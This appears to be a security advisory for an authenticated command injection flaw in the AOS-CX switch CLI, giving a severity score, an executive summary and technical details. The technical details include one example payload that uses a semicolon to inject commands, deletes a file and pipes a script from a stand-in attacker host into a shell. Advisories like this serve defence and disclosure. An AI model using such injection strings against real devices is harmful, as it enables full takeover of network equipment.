Description

Authenticated command injection vulnerabilities exist in the command line interface of AOS-CX. Successful exploitation of these vulnerabilities results in the ability to execute arbitrary commands as a privileged user on the underlying operating system.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.2",
  "pubDate": "2026-09-01T21:18:43.503Z",
  "pubdate": "2026-09-01T21:18:43.503Z",
  "executiveSummary": "This vulnerability involves an authenticated command injection flaw within the command line interface (CLI) of the AOS-CX operating system. The vulnerability permits an authenticated attacker to execute arbitrary operating system commands with elevated privileges, effectively bypassing standard CLI restrictions. The primary risk implication is a total compromise of the underlying host operating system integrity and confidentiality. By injecting malicious payloads into legitimate CLI command parameters, an attacker can transition from a standard CLI session to arbitrary execution at the OS level. Exploitation requires the attacker to possess valid administrative or operator credentials to access the CLI interface. Once authenticated, the attacker does not require additional complex tools, as the vulnerability resides in the interface's input sanitization logic. Given the privileged nature of the execution environment, this vulnerability poses a critical risk to the network infrastructure, potentially allowing for persistence mechanisms, data exfiltration, or the configuration of the device to facilitate lateral movement within the network. Organizations utilizing affected AOS-CX systems must prioritize strict access control and monitor for anomalous command usage.",
  "technicalDetails": "The vulnerability originates from improper neutralization of special elements used in OS commands within the AOS-CX CLI. The root cause is a failure in the input validation and sanitization routines associated with specific CLI commands that interface directly with the underlying Linux-based operating system shell. When a user provides input through the CLI, the application fails to adequately filter characters that possess functional meaning in a command shell, such as pipe symbols, backticks, semicolons, or redirection operators.\nThe attack flow begins with the adversary establishing an authenticated session via the AOS-CX CLI, which is typically accessible through SSH or the serial console. Once access is granted, the attacker probes the command input parameters to identify fields where user-provided strings are concatenated into shell scripts or system-level command strings executed by the operating system. Upon identifying a vulnerable parameter, the attacker crafts a payload designed to terminate the intended command prematurely and append arbitrary malicious instructions. For instance, an input string structured to inject a shell command—such as '; rm -rf /tmp/payload; curl http://attacker.com/script.sh | sh'—would cause the system to execute the injected code with the existing privileges of the CLI process.\nBecause the CLI processes often run with root or equivalent high-level service account privileges, the injected code executes with these same permissions. This effectively allows the attacker to escape the restricted command-line environment and interact directly with the OS kernel and file system. The post-exploitation impact includes the ability to modify system configurations, install backdoors, access sensitive configuration files, or disable security logging mechanisms. Furthermore, the attacker can leverage the underlying OS to launch secondary attacks against the local network, bypassing any CLI-specific access control lists (ACLs) or role-based access control (RBAC) restrictions that were intended to govern the user session. The lack of stringent character sanitization at the interface boundary represents a significant failure in the principle of least privilege, as the application assumes that input received through the CLI is implicitly trusted for shell execution."
}